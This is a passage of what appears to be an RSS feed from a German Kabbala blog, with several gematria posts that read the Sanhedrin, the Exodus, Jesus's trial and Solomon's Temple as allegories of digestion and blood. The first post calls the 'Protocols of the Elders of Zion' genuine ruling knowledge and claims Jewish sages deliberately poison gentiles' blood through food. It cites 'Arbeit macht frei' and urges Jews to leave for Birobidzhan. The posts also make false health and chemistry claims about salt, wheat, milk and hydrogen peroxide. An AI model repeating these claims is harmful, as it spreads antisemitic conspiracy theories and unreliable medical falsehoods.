<li class="MsoNormal"><span lang="DE-CH">Der <strong>„Stellvertreter“</strong>,      der das Feld „Eiweisse“ besetzt und es überlagert und dazu noch negativ      dem <strong><em>Hefepilz</em></strong> entspricht, wird hebräisch AB-BJTh-DJN      geschrieben: 8 Zeichen, Wertsumme 479, Sofitwert 1129. <em>Im Neuen Testament entspricht dies dem      Johannes-Evangelium und dem Symbol „Adler“, in der antiken Elementenlehre      der „Luft“.</em></span></li>
<li class="MsoNormal"><span lang="DE-CH">Die <strong>„Protokolle“</strong>,      die auf Veranlassung dieser vier Gruppen von Weisen abgefasst werden und      die dem <strong><em>Blut </em></strong>entsprechen, werden ZKRNWTh-DBRJM geschrieben: 11      Zeichen, Wertsumme 939, Sofitwert 1499. <em>In der antiken Elementenlehre entspricht dies der Qualität „kalt“      (= natürlich aerob) oder entgegengesetzt „warm“ (= sündhaft anaerob). Die      Menschheit  lebt permanent sündhaft      mit „heissem Blut“.</em></span></li>
<li class="MsoNormal"><span lang="DE-CH">Der <strong>„Nassi“</strong> als      absolutistischer Fürst, der der <strong><em>Galle</em></strong> entspricht, damit auch      dem Eisen und symbolisch so auch dem „Schwert“, wird NShJA geschrieben: 4      Zeichen, Wert 361 = 19&#215;19 = JHD „sich zum Judentum bekennen“. <em>In der antiken Elementenlehre      entspricht dieses Feld der Qualität „trocken“ (= natürlich aerob) oder      entgegengesetzt „feucht“ (= sündhaft anaerob). Die Menschheit lebt      permanent mit einem „Einspritzmotor“, das heisst der Nährboden im      Zwölffingerdarm wird permanent mit flüssiger Galle und dem Hormon Insulin überflutet.</em></span></li>
<li class="MsoNormal"><span lang="DE-CH">Der <strong>„erste Schreiber“</strong>,      der der <strong><em>Lymphe</em></strong> im Immunsystem entspricht und damit dem Edelmetall      „Silber“, wird KWThB RAShWN geschrieben: 9 Zeichen, Wertsumme 985,      Sofitwert 1635. <em>In der antiken      Elementenlehre entspricht dieses Feld der Qualität „feucht“ (= natürlich      aerob) oder durch permanente Ausbeutung (Silber) entgegengesetzt „trocken“      (= Sterbeprozess der Austrocknung).</em></span></li>
<li class="MsoNormal"><span lang="DE-CH">Der <strong>„zweite Schreiber“</strong>,      der dem <strong><em>Knochenmark</em></strong> im Immunsystem entspricht und damit dem      Edelmetall „Gold“, wird KWThB ShNJ geschrieben: 7 Zeichen, Wertsumme 788. <em>Zum Wert 788 existieren die hebräischen      Begriffe ShChPTh „Schwindsucht“ und ChKMH NSThRH „Geheimwissenschaft“      sowie die Abbreviatur R“Z (RZ = Geheimnis) mit der Auflösung RASh ZYJR für      „kleiner Anfang“. In der antiken Elementenlehre entspricht dieses Feld der      Qualität „warm“ (= natürlich aerob) oder durch permanente Ausbeutung      (Gold) entgegengesetzt „kalt“ (= Sterbeprozess durch Erkaltung).</em></span></li>
<li class="MsoNormal"><span lang="DE-CH">Der <strong>„Angeklagte“</strong>,      der der <strong><em>Lebenskraft</em></strong> entspricht und damit der ureigentlichen      Kernfunktion der Seele, wird NAShM geschrieben: 4 Zeichen, Wertsumme 391,      Sofitwert 951. <em>Im Neuen Testament      entspricht dieses Feld der Allegorie  des „Jesus“, dem Stifter des so genannten      Christentums.</em></span></li>
<li class="MsoNormal"><span lang="DE-CH">Das <strong>„Publikum“</strong>, das      hier gar nicht so neutral ist, wie man zunächst annehmen dürfte,  da es dem göttlichen <strong><em>Nährboden</em></strong> und damit      Gott selbst entspricht, wird aramäisch TsBWRA geschrieben: 5 Zeichen,      Wertsumme 299. <em>Zu diesem Wert      existiert die hebräische Abbreviatur Y“Z (YZ = Kraft, Macht, Gewalt) mit      der Auflösung YBWDH ZRH und der Bedeutung „Götzendienst zerstreut“. Damit      ist hier konkret die willkürliche Ausschüttung von Gold und Silber aus dem      Immunsystem in den Blutkreislauf gemeint, sprich: die Verfassung der      Protokolle durch die beiden Schreiber, dazu indirekt aufgefordert vom      Nassi, indem dieser seinen Stellvertreter veranlasst, die Schreiber zu      aktivieren.</em></span></li>
</ul>
<p class="MsoNormal"><span lang="DE-CH">Alle 10 Posten zusammen, also der komplette Sanhedrin in der Matrix der Seele, ergeben 64 Konsonanten, die Wertsumme 4970 und den Sofitwert 9070. <em>Gematria</em>: Zum Wert 64 existiert der hebräische Begriff DJN für <strong><em>„Gericht“</em></strong>. Zum reduzierten Wert 497 existiert die Abbreviatur JW“M (JWM = „Tag“) mit der Auflösung JWTSAJ MTsRJM für <strong><em>„Auszug aus Ägpyten“</em></strong>. Zum reduzierten Wert 907 existiert die berühmte Sequenz AHBTh LRYK KMWK ANJ JHWH <strong><em>„Liebe deinen Nächsten wie dich selbst, Ich bin der Ewige“</em></strong> aus Lv 19,18. </span></p>
<p align="center" style="text-align: center" class="MsoNormal"><strong><span lang="DE-CH">Zum ominösen „Auszug aus Ägypten“</span></strong></p>
<p class="MsoNormal"><span lang="DE-CH">Das Pessach-Fest wird im Judentum als „Fest der Freiheit“ angesehen, weil das erste Fest dieser Art mit dem „Auszug aus Ägypten“ zusammenfiel. So steht es in der Tora und so  will es die Tradition. Seltsamerweise heisst es aber an renommierter Stelle, der Ausspruch „Auszug aus Ägypten“ sei eine jüdische Redewendung, <em>„gebraucht beim Anhören von übertriebenen, unglaublichen Dingen“ </em>[Bernstein Glossar 30]. Das würde bedeuten, dass die Juden selbst diesen Auszug nicht als historisches Ereignis ansehen, sondern eher als eine „Wundersage“. Dass dem so ist, erklärt überraschender Weise Rabbiner Michael Goldberger in seinem Kommentar zum Wochenabschnitt „Bo“ (Ex 10,1-13,16) im „tachles“ vom 26.1.2007 unter der Überschrift „Unser Auszug aus Ägypten“:</span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><em><span lang="DE-CH">„Was uns der Chatam      Sofer erklärt ist, dass wir an Pessach mitnichten über ein historisches      Ereignis berichten, welches vor 3500 Jahren stattfand. Es geht vielmehr um      das, was uns quält, um die eigenen Kämpfe und das persönliche Ringen um      Freiheit und Unabhängigkeit.“</span></em></li>
<li class="MsoNormal"><em><span lang="DE-CH">„Was für den      Sederabend gilt, gilt für die ganze Tora, besonders aber für das 2. Buch      Mose. Es enthält keine unpersönlichen Geschichten aus ferner      Vergangenheit. Es geht immer um uns persönlich im Hier und Jetzt.“</span></em></li>
</ul>
<p class="MsoNormal"><span lang="DE-CH">Ich behaupte schon seit langem, dass das Alte Testament kein historisches Buch ist, sondern in zeitloser, jedoch verkappter Weise beschreibt, wie Seele und Geist des Menschen funktionieren und was passiert, wenn man gegen die Naturgesetze lebt. Doch da das alles durch Metaphern und Allegorien verbrämt wurde, wird der normale Leser die Wahrheiten nicht „zwischen den Zeilen lesen“ können. Nun aber wird dies zumindest von einem Rabbiner klargestellt und dazu noch im „tachles“ publiziert: <em>„Es geht immer um uns persönlich im Hier</em> <em>und Jetzt“</em>, es geht also primär um unsere Seele. Und mit „unser“ ist nicht nur die jüdische Seele gemeint. Denn „die Kinder Israel“, die in Ex 12,35-36 den Worten Moses (= Satan) folgen und alles Silber und Gold mitnehmen und „Mizrajim ausleeren“, sind Allegorien für Vorgänge in unserer nichtjüdischen Seele, die – wie oben beschrieben – bewirken, dass unser Immunsystem (= Ägypten) von uns selbst ausgeplündert wird. Damit wird die Geschichte auf den Kopf gestellt: Es wäre richtig, dass unser „Auszug aus Ägypten“ unterbleibt, dass wir dagegen Moses (= Satan) unseren Gehorsam verweigern und uns zu einem anderen Leben als bisher bekehren. Damit das aber möglich wird, müssten „unglaubliche Dinge“ geschehen: Die Juden müssten aus „Ägypten“ ausziehen, aus dem Sklavenhaus der westlichen Industrieländer und aus dem als „Medinat Jisraél“ getarnten „Welttheater“ im Nahen Osten und in das Land gehen, das ihnen bereits gehört, nach Birobidschan. </span></p>
<p align="center" style="text-align: center" class="MsoNormal"><strong><span lang="DE-CH">Die Wahrheit über die Verurteilung von Jesus</span></strong></p>
<p class="MsoNormal"><span lang="DE-CH">Als Jesus vor dem Hohen Rat (= Sanhedrin) steht, schweigt er zunächst auf alle Fragen. Doch auf die Frage: <em>„Bist du der Messias, der Sohn des Hochgelobten?“</em> antwortet er klar und deutlich: <em>„Ich bin es.“</em> (Mk 14,61). <em>„Da zerriss der Hohepriester sein Gewand und rief: Wozu brauchen wir noch Zeugen? Ihr habt die Gotteslästerung gehört. Was ist eure Meinung? Und sie fällten einstimmig das Urteil: Er ist schuldig und muss sterben.“ </em>(Mk 14,63-64).</span></p>
<p class="MsoNormal"><span lang="DE-CH">Die Zitate stammen aus der Einheitsübersetzung. In der Lutherbibel und im Konkordanten Neuen Testament steht statt „Messias“ das Wort „Christus“. Doch die erste Frage ist eine Fangfrage: Selbstverständlich ist „Jesus“, die Allegorie für die Lebenskraft“, der „Sohn Gottes“, da „Gott“ hier eine Allegorie für den Nährboden ist. Doch er ist nicht der „Messias“, denn im Kreis seiner Jünger fehlen die Namen „Lukas“ (= Zeitraum der Morgenröte) und „Markus“ (= Zeitraum des Vormittags), woraus hervorgeht, dass Jesus permanent anaerob lebt, also sündhaft und gottlos. Das falsch gelebte Leben des Jesus wird auch dadurch demonstriert, dass er mit seinen Jüngern ein grosses „Abendmahl“ zu sich nimmt, was mit Sicherheit den heilsamen Nachtschlaf verhindert und dass er anschliessend in stockdunkler Nacht auf den Ölberg steigt und von dort herunter zum Garten Getsemane, wo er dann verhaftet wird. Schliesslich behauptet er noch: <em>„Salz ist etwas Gutes“</em> und legt damit die verwerfliche Grundlage für ein dauerhaft hormonelles Leben ohne die Möglichkeit einer Regeneration. Doch zu seiner Verteidigung ist anzufügen, dass er als „Lebenskraft“ zwar die Gesetze bestimmt, die zur Aufrechterhaltung eines reinen Lebens erforderlich sind, dass er sich aber auf diesem seelischen Niveau, auf dem kein Geist besteht, nicht gegen Verführungen durch die Sinne schützen kann. Er ist also ein Opfer des Satans und dessen Helfershelfer.</span></p>
<p class="MsoNormal"><span lang="DE-CH">Nachdem der Sanhedrin das Todesurteil über Jesus gesprochen hat, wird er nicht von dieser jüdischen Institution hingerichtet: <em>„Gleich in der Frühe fassten die Hohenpriester, die Ältesten und die Schriftgelehrten, also der ganze Hohe Rat über Jesus einen Beschluss: Sie liessen ihn fesseln und abführen und lieferten ihn Pilatus aus.“ </em>(Mk 15,1). Er wurde also von den jüdischen Oberen den römischen Oberen zur Hinrichtung übergeben. Auf unser persönliches Leben „im Hier und Jetzt“ übertragen besagt das, dass wir heute über die schädliche Nahrung und gottlose Kultur mit ihren jüdischen Wurzeln auf Gedeih und Verderb auf die tödliche „anaerobe Schiene“ gestellt werden, dass wir dann aber, wenn das Verderben uns irreversibel gepackt hat, an „Rom“ übergeben werden, was heute dem „Christentum“ und seinen Institutionen entspricht. Aus dieser Sicht ist der „Stellvertreter“ im Sanhedrin, der ja zugleich auch das Oberhaupt in einem anderen Gerichtshof ist, eine Allegorie auf den Papst. Er übernimmt dann unsere „Kreuzigung“.</span></p>
<p class="MsoNormal"><span lang="DE-CH">Und wer ist dann „Christus“? Der Vers Epheser 5,14 lautet: <em>„Erhebe dich, du Schläfer, und steh’ auf von den Toten, und es erscheint dir Christus!“. </em>Christus ist eine Personifizierung des heiligen Grals. Dieser besteht aus reinem Wasser H2O als Trägerstoff und aus reinem kosmischem Leben, dem freien Radikal O1, als Wirkstoff. Chemisch werden beide bei der Einatmung in der Lunge verbunden und ergeben das Wasserstoffperoxid H2O2 als reine irdische Lebenskraft. Voila, da ist er, unser Christus, unser Erlöser, der aus dem Himmel kommt.</span></p>
<p align="center" style="text-align: center" class="MsoNormal"><strong><span lang="DE-CH">Was bedeutet das „Zion“ der Weisen?</span></strong></p>
<p class="MsoNormal"><span lang="DE-CH">Der bibelhebräische Name „Zion“ wird TsJWN geschrieben. Der Versuch, das Geheimnis dieses Wort über hebräische Abbreviaturen zu „knacken“, scheitert nach mehreren Anläufen. Da komme ich auf die Idee, die vier Konsonanten so zu schreiben, wie die vier Gruppen der „Weisen“ in der Matrix der Seele oben links eingetragen sind: Links unten, beim Stellvertreter, beginnen wir mit dem Ts, darüber bei den Ältesten wird das J eingetragen, rechts daneben bei den Priestern das W und rechts unten bei den Schriftgelehrten dann das N. Dadurch steht in der oberen Reihe die Sequenz J“W, darunter Ts“N, wozu sich nun ohne jegliche Auswahl entsprechende Auflösungen finden lassen:</span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><span lang="DE-CH">J“W liesse sich auch als „Io“ vokalisieren und wäre dann der      Name der griechischen Göttin der Morgenröte. Wie trefflich, gerade hier,      wo es genau um das ginge. Oder eben purer Zynismus der Wissenden! Denn J“W      löst sich auf in JYLH WJBWA [Ashkenazi 252]. Die 9 Konsonanten haben die      Wertsumme 140 und verschiedene Bedeutungsmöglichkeiten, im Kontext aber      muss es heissen: <em>„Er ist das      Brandopfer (Holocaust) und er gerät hinein“. </em>Wo hinein? In den      Feuerofen der überhitzten Seele. Denn zum Wert 140 existiert die Summe der      hebräischen Wörter von drei teuflischen Grundnahrungsmitteln: Kochsalz =      MLCh = 78, Weizen = ChTH = 22 und Milch = ChLB = 40 = total 140. Und wer      ist „er“? Jeder, jede, jedes! Das ist die Ebene der Atmung, die durch      diese „Chemotherapie“ auf „anaerob“ umgestellt wird.</span></li>
<li class="MsoNormal"><span lang="DE-CH">Ts“N lässt sich als „Zén“ vokalisieren, bedeutet dann „Dorn,      Haken“ und beantwortet die berühmte Frage: „Tod, wo ist dein Stachel,      Hölle, wo ist dein Sieg?“ aus 1 Kor 15,55. Dies betrifft hier die Ebene      der Nahrung, denn Ts“N löst sich auf in TsRTh NPShW [Ashkenazi 687], die 7      Konsonanten haben die Wertsumme 1126 und die Bedeutung „seine Seelenangst“      (Gn 42,21) oder, noch treffender, „die Not, das Leiden seiner Seele“,      hervorgerufen durch die oben erwähnten Nahrungsmittel, oftmals mit einer      Latenzzeit von weit über zehn Jahren. </span></li>
</ul>
<p class="MsoNormal"><span lang="DE-CH">Das ist „Zion“ und das Metier der besagten Weisen. Die vier Wörter ergeben zusammen 16 Konsonanten mit der Wertsumme 1266. Diese Zahl lässt sich in 6 x 211 gliedern, zum Wert 211 existiert der bibelhebräische Name YLWQH „áluka“ aus Pr 30,15, über dessen Bedeutung sich die Gelehrten nicht ganz einige sind und folgende Übersetzungen vorschlagen: <em>„Blutegel; Name eines Insekts; vampirartiges, dämonisches Ungeheuer“</em> [Gesenius 591]. Doch Elvis Presley hat’s ja schon besungen: „Look like an angel …“.</span></p>
<p align="center" style="text-align: center" class="MsoNormal"><strong><span lang="DE-CH">Sind die „Protokolle der Weisen von Zion“ eine Fälschung?</span></strong></p>
<p class="MsoNormal"><span lang="DE-CH">Die protokollartig abgefasste Publikation mit diesem Titel geht mit Sicherheit auf die Schriftgelehrten als Verfasser zurück, denn das darin zum Ausdruck gebrachte Wissen kann sich kein normaler Sterblicher ersinnen. Es ist Herrschaftswissen, das seit Jahrtausenden einwandfrei funktioniert, nur werden ab und zu die Etiketten ausgewechselt. In diesem Sinne ist diese Publikation zwar „echt“, doch ist sie im Grunde genommen unwichtig und lenkt die Diskussion gewollt auf einem Nebenkriegsschauplatz. </span></p>
<p class="MsoNormal"><span lang="DE-CH">Die wirklich „echten Protokolle der Weisen von Zion“ dagegen betreffen eine nonverbale Sprache von grösster Mächtigkeit: Die gezielte Verunreinigung des Blutes der heidnischen Gojim durch entsprechend wirkende Nahrungsmittel, wodurch deren Immunsystem über die Druck abbauende Arbeitsleistung („Arbeit macht frei“) beliebig ausgebeutet werden kann und zugleich die Lebenskraft geschwächt und dauerhaft zerstört wird, so dass auch die physische und psychische Widerstandskraft der Betroffenen mit der Zeit verloren geht.</span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><em><span lang="DE-CH">Dirk Schröder,      unabhängiger Privatgelehrter, CH-2502 Biel</span></em></li>
</ul>
<p class="MsoNormal"><span lang="DE-CH">LITERATURVERZEICHNIS: <strong><em>Ashkenazi</em></strong>, Shmuel, und Dov, Jarden, „Ozar Rashe Tevot. Thesaurus of Hebrew Abbreviations“, 600 Spalten, ohne Ort und Jahr, ISBN 965-17-0203-6 – </span><strong><em><span lang="DE-CH">Bernstein</span></em></strong><span lang="DE-CH">, Ignaz, „Jüdische Sprichwörter und Redensarten“, mit Glossar, 2. Auflage 1908, Reprint Wiesbaden 1988 – <strong><em>Einheitsübersetzung</em></strong>, „Die Bibel. Altes und Neues Testament“, Stemberger, Günter, und Prager, Mirjam, Hrsg., Augsburg 1987 – <strong><em>Funk</em></strong>, S., „Die Entstehung des Talmuds“, 2. Auflage, Berlin und Leipzig 1919</span></p>
<p class="MsoNormal"><span lang="DE-CH"> </span></p> <a href="http://www.kabbalaschule.ch/blog/?p=22#more-22" class="more-link">&#8211;></a>]]></content:encoded>
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		</item>
		<item>
		<title>Der</title>
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		<pubDate>Sat, 27 Jan 2007 23:13:06 +0000</pubDate>
		<dc:creator>Dirk Schröder</dc:creator>
		
		<category><![CDATA[Kabbala]]></category>

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		<description><![CDATA[

 
Im Artikel „Der Leviathan“ vom 27.1.2007 wurde zum Schluss der grosse jüdische Gelehrte Maimonides zitiert, der das Kommen des Messias unter anderem damit verband, dass dieser den „Mikdasch“, das Tempelheiligtum, wieder aufbaut. Von dem Wiederaufbau des Tempels ist auch in religiösen Kreisen vor allem im heutigen Jerusalem immer wieder die Rede, doch wie dieser seinerzeit [...]]]></description>
			<content:encoded><![CDATA[<p align="center" style="text-align: center" class="MsoNormal"><strong><span lang="DE-CH">
</span></strong>
<p class="MsoNormal"><span lang="DE-CH"> </span></p>
<p class="MsoNormal"><span lang="DE-CH">Im Artikel „Der Leviathan“ vom 27.1.2007 wurde zum Schluss der grosse jüdische Gelehrte Maimonides zitiert, der das Kommen des Messias unter anderem damit verband, dass dieser den „Mikdasch“, das Tempelheiligtum, wieder aufbaut. Von dem Wiederaufbau des Tempels ist auch in religiösen Kreisen vor allem im heutigen Jerusalem immer wieder die Rede, doch wie dieser seinerzeit zerstörte Tempel tatsächlich aussah, weiss niemand so recht. Eine immerhin 312-seitigen Monographie befasst sich mit jenem <em>„Bauwerk …, das als einziges in der Bibel ausführlich beschrieben wird, dessen Zerstörung ein Trauma für das jüdische Volk ist, das in seinem Wiederaufbau den Anbruch der messianischen Endzeit sehen würde“</em> [Naredi 7]. </span></p>
<p align="center" style="text-align: center" class="MsoNormal"><strong><span lang="DE-CH">Der Wiederaufbau von Salomos Tempel</span></strong></p>
<p class="MsoNormal"><span lang="DE-CH">Es geht um Salomos Tempel, der in 1 Könige 6,2-38 ausführlich beschrieben ist. Doch wenn man sich näher mit dem Text beschäftigt und versucht, das Gelesene architektonisch oder zumindest in einen Grundriss umzusetzen, merkt man rasch, dass man dabei kaum einen Schritt weiter kommt, geschweige denn das Konzept dieses Tempels enträtselt. Mit Sicherheit ergibt sich, dass der Tempelbau dreigliedrig ist:</span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><span lang="DE-CH">Eine <strong>„Vorhalle“</strong> (1 K      6,3), hebräisch „Ulam“ AWLM, 4 Zeichen, Wertsumme 77, Sofitwert 637,      gefolgt vom eigentlichen</span></li>
<li class="MsoNormal"><strong><span lang="DE-CH">„Tempel des Hauses“</span></strong><span lang="DE-CH"> (1 K 6,3), hebräisch „Héchál“ HJKL, 4 Zeichen, Wertsumme 65,      und schliesslich</span></li>
<li class="MsoNormal"><strong><span lang="DE-CH">„das Allerheiligste“</span></strong><span lang="DE-CH"> (1 K 6,16), hebräisch „Devir“ DBJR, 4 Zeichen, Wertsumme 216,      das îm selben Vers auch als „kodesch há-kadaschim“ QDSh HQDShJM bezeichnet      wird. „Devir“ wird dabei auch mit „Redestätte“ übersetzt.</span></li>
</ul>
<p class="MsoNormal"><span lang="DE-CH">Mit diesen drei hebräischen Begriffen habe ich mich schon seit vielen Jahren beschäftigt, zumal sie zusammen 12 Konsonanten mit der Wertsumme 358 und dem Sofitwert 918 ergeben. Denn 12 ist eine Kreis- oder Zykluszahl, zum Wert 358 existiert der Titel MShJCh für den <strong>„Messias“</strong> und zum Wert 918 existiert die Sequenz AWR HYWLM, was sowohl <strong>„Licht der</strong> <strong>Welt“</strong> als auch „Feuer der Ewigkeit“ bedeuten kann. Doch eine wirklich zufriedenstellende Lösung habe ich nie gefunden, da zu viele Fragen offen blieben: Wo steht die Bundeslade, wo der Altar, wo ist der grosse Hof? Und wie steht es mit dem „Vorhang“ zwischen dem Hauptraum und dem Allerheiligsten, der für das massgebende Stiftszelt in Ex 26,31 ausdrücklich erwähnt wird, nicht aber im Buch der Könige?</span></p>
<p align="center" style="text-align: center" class="MsoNormal"><strong><span lang="DE-CH">Der gebührende Platz ist die Seele des Individuums</span></strong></p>
<p class="MsoNormal"><span lang="DE-CH">Im eingangs erwähnten „Leviathan“-Artikel ergibt sich aus den beiden mysteriösen Wesen „Leviathan“ und „Behemoth“, die im Buch Hiob ausführlich beschrieben sind, die Grundstruktur der Matrix der Seele und aus den ermittelten Wörtern eine totale Wertsumme, die dem hebräischen Begriff „mikdasch-meát“ für „das kleine Heiligtum“ entspricht. Die Seele des Menschen ist demnach der Ort, wo der Wiederaufbau des zerstörten Tempels zu erfolgen hat – und nicht ein geographischer Ort in Jerusalem oder sonstwo. Wo dabei das „Allerheiligste“, die „Redestätte“, hingehört, fand ich erst kürzlich heraus. In einem Fachbuch las ich, dass es im Dünndarm immer Geräusche (von der unaufhörlichen Verdaung) gibt, wenn der Dünndarm einmal wirklich still ist, ist die betreffende Person tot. Aufgrund dieser Erkenntnis konnte ich nun erstmals eine unerwartete Zuordnung in die von mir aufgedeckte Matrix der Seele vornehmen:</span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><span lang="DE-CH">Das „Allerheiligste“ ist der Dünndarm, sein Inhalt, der nicht      mit der Bundeslade verwechselt werden darf, ist der <strong>Nährboden</strong>. </span></li>
<li class="MsoNormal"><span lang="DE-CH">Der „Tempel des Hauses“ ist das <strong>Blut</strong> beziehungsweise der Blutkreislauf, in den die verdauten      Substanzen des Nährbodens <em>„durch den      Vorhang“</em> der Darmwand resorbiert werden. Was unverdaut bleibt, geht      über den Dickdarm zum Mastdarm weiter und dann durch den Anus hinaus.</span></li>
<li class="MsoNormal"><span lang="DE-CH">Die „Vorhalle“ ist die <strong>Lebenskraft</strong>,      der die benötigte Lebensenergie über das Blut zugeführt wird.</span></li>
</ul>
<p class="MsoNormal"><span lang="DE-CH">Man kann also allegorisch den Nährboden als „Vater“, das Blut als „Mutter“ und die Lebenskraft als „Sohn“ bezeichnen, was ja in vielen Religionen so anzutreffen ist.</span></p>
<p class="MsoNormal"><span lang="DE-CH">Die übrigen Elemente des Tempels wurden in der Matrix der Seele auf drei wesentliche Felder reduziert, die den Räumen wie folgt zugeordnet sind:</span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><span lang="DE-CH">Die <strong>„Bundeslade“</strong> (1      K 6,19), hebräisch „áron-berit“ ARWN BRJTh, 8 Zeichen, Wert 869, Sofitwert      1519, liegt zuunterst direkt am „Allerheiligsten“ an und enthält als      Trägersubstanz (= Lade) die Lymphe, als Wirksubstanz (= Bund) das      Knochenmark. Es handelt sich hier also um das Immunsystem, das bei <em>aerober </em>Lebensweise laufend durch      den Nährboden regeneriert, bei <em>anaerober</em>      Lebensweise dagegen unaufhörlich ausgeleert wird.</span></li>
<li class="MsoNormal"><span lang="DE-CH">Der <strong>„Altar“</strong> (1 K      6,20), aramäisch MDBCh, 4 Zeichen, Wertsumme 54, wird auf den echten,      leidvollen „Opferaltar“ reduziert und dem Hauptraum, dem „Tempel des      Hauses“, zugeordnet. Es handelt sich um die Galle, die durch den Nährboden      aktiviert und hier mit dem Blut verbunden wird.</span></li>
</ul>
<p class="MsoNormal"><span lang="DE-CH">Diese drei Felder in der Matrix ergeben zusammen ebenfalls 12 Konsonanten mit der Wertsumme 923 und dem Sofitwert 1573, so dass der gesamte Tempelbau in der Matrix der Seele sechs Felder umfasst mit total <strong>24</strong> Konsonanten und der Wertsumme <strong>1281</strong> sowie dem Sofitwert <strong>2491</strong>. <em>Gematria</em>: Die Zahl 24 verweist auf den Tageskreis der Sonne und darauf, das jeder Tag als völlig gleichwertiger Schöpfungstag anzusehen ist und nicht als irgendein besonderer Wochentag mit verschiedenen Bedeutungen und Wirkungen. Zum Wert 1281 existiert die hebräische Abbreviatur S“Th mit der Auflösung SThRJ ThWRH und der Bedeutung „Meine verborgene Tora“. Das ist also zugleich auch ein anderer Name für das wiedererbaute „Tempelgebäude“ im Inneren des Menschen. Der Wert 2491 lässt sich in 47 x 53 gliedern, zum Wert 47 existiert der Begriff MGD „meged“ für „Götterspeise“, zum Wert 53 der Begriff ChMH für „Wärme“, was im Zusammenhang besagt, dass durch die richtige, göttliche Speise, die Lebenswärme im Knochenmark regeneriert und damit zugleich auch der blutige Altar der Galle deaktiviert wird.</span></p>
<p class="MsoNormal"><span lang="DE-CH">Ungeklärt bleibt nun nur noch der „grosse Platz“ in der Matrix der Seele oben links, der zusammen mit dem soeben vollständig beschriebenen Tempelgebäude den „Tempelberg“ belegt. Dieser grosse Platz oder Hof oder Garten beinhaltet vier Felder, die den Vier Elementen der betreffenden antiken Lehre entsprechen: „Wasser“, „Feuer“, „Luft“ und „Erde“. Viele Klostergärten und Schlosshöfe wurden nach diesem Prinzip gestaltet, so beispielsweise der Garten im spanischen Klosterschloss El Escorial nördlich von Madrid, der die vier Teile mit den Namen der vier Evangelisten bezeichnet, Allegorien also, die ebenfalls „zutreffend“ sind. Da mir das Alte Testament im Zusammenhang mit dem Tempelbau aber keine ausreichenden Informationen liefert, wie diese vier Felder adäquat zu benennen sind, verwende ich einen kabbalistischen Kunstgriff: Da das Allerheiligste DBJR geschrieben wird und aus vier Feldern gespeist wird, zwei der Atmung, zwei der Nahrung zugeordnet, ist es naheliegend, zwei Abbreviaturen mit der Struktur D“B – J“R zu bilden und entsprechende Auflösungen zu suchen. Da mir der reale Inhalt dieser Felder bekannt ist, kann ich aus einer jeweils grösseren Auswahl das Richtige herausfinden [beide Ashkenazi]:</span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><strong><span lang="DE-CH">D“B</span></strong><span lang="DE-CH"> = DM BRJTh, 6 Zeichen, Wertsumme 656, Sofitwert 1216, bedeutet      <strong><em>„Blut-Bund“</em></strong>      und betrifft den Nahrungsbereich mit den Kohlenhydraten und Fetten      einerseits und den Eiweissen (Proteinen) andererseits. Dieser Sektor wird      weltumspannend vom Judentum und der Rabbinerschaft beherrscht, was bereits      aus dem Wert 656 hervor geht. Denn zu diesem Wert existiert die Sequenz      BYLJ MDRSh für „die Herren der spitzfindigen Auslegung“ (des Alten      Testaments). Der Wert 1215 lässt sich in 64 x 19 gliedern, zum Wert 19      existiert das bibelhebräische Wurzelverb JHD mit der Bedeutung „sich zum      Judentum bekennen“ – und sei es auch nur unbewusst durch die      (grundfalsche) Ernährung.</span></li>
<li class="MsoNormal"><strong><span lang="DE-CH">J“R</span></strong><span lang="DE-CH"> = JWM RAShWN, 8 Wertzeichen, Wertsumme 613, Sofitwert 1823,      bedeutet üblicherweise „Erster Tag“ und ist die Bezeichnung des Sonntags      in der jüdischen Woche. Hier aber lautet die richtige Übersetzung <strong><em>„die      erste Tageszeit“</em></strong> und meint die beiden Zeiträume der      Morgenröte und des Vormittags, die bis heute, durch die ewige Dominanz der      jüdischen Welterklärung, völlig ohne Priorität sind und von anderen      kulturellen Gepflogenheiten überlagert und werden. Diese      beiden Felder aber sind identisch mit dem geheimnisvollen <strong><em>„Gral“</em></strong> und      seinem das Leben verlängernden, gesund machenden Inhalt, nach dem alle      Welt vergeblich sucht.</span></li>
</ul>
<p class="MsoNormal"><span lang="DE-CH">Dieser vier Begriffe ergeben 14 Konsonanten mit einer Wertsumme 1269 und einem Sofitwert 3039. Zählt man diese zu den zuvor ermittelten Zwischentotalen hinzu, ergeben sich für die gesamte Tempelanlage der Seele 38 Konsonanten, die Wertsumme 2550 und der Sofitwert 5530. <em>Gematria</em>: Zum Wert 38 existiert des hebräische Verb JKCh „entscheiden, richten, das Richteramt ausüben“. Zum reduzierten Wert 255 existiert der hier völlig zutreffende Begriff MRJH für „Tempelberg“. Und zum reduzierten Wert 553 existieren die hebräischen Sequenzen BJTh NAMN für „der zuverlässige Tempel“ und DYTh WChKMH für „Wissen und Weisheit“, wobei DYTh auch „Gotteserkenntnis“ bedeutet.</span></p>

<ul type="disc" style="margin-top: 0mm">
<li class="MsoNormal"><span lang="DE-CH">Dirk Schröder, unabhängiger Privatgelehrter, CH-2502 Biel</span></li>
</ul>
<p class="MsoNormal"><span lang="DE-CH">LITERATURVERZEICHNIS: <strong><em>Ashkenazi</em></strong>, Shmuel, und Dov, Jarden, „Ozar Rashe Tevot. Thesaurus of Hebrew Abbreviations“, 600 Spalten, ohne Ort und Jahr, ISBN 965-17-0203-6 – <strong><em>Naredi</em></strong>-Rainer, Paul von, „Salomos Tempel und das Abendland. Monumentale Folgen historischer Irrtümer“, Köln 1994.</span></p> <a href="http://www.kabbalaschule.ch/blog/?p=21#more-21" class="more-link">&#8211;></a>]]></content:encoded>
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		<title>Der</title>
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		<pubDate>Sat, 27 Jan 2007 14:21:49 +0000</pubDate>
		<dc:creator>Dirk Schröder</dc:creator>
		
		<category><![CDATA[Kabbala]]></category>

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		<description><![CDATA[

 
Vor etwas über zehn Jahren erlernte ich als Autodidakt die hebräische Schrift, um das Alte Testament in der Originalsprache studieren und kabbalistisch auswerten zu können. Ich vermutete damals nämlich, dass ich darin ein absolutes Weisheitswissen aufdecken würde, das anderswo in Prosa oder gar in deutscher Sprache nicht zu finden war. So lag es nahe, dass [...]]]></description>
			<content:encoded><![CDATA[<p align="center" style="text-align: center" class="MsoNormal"><span lang="DE-CH">
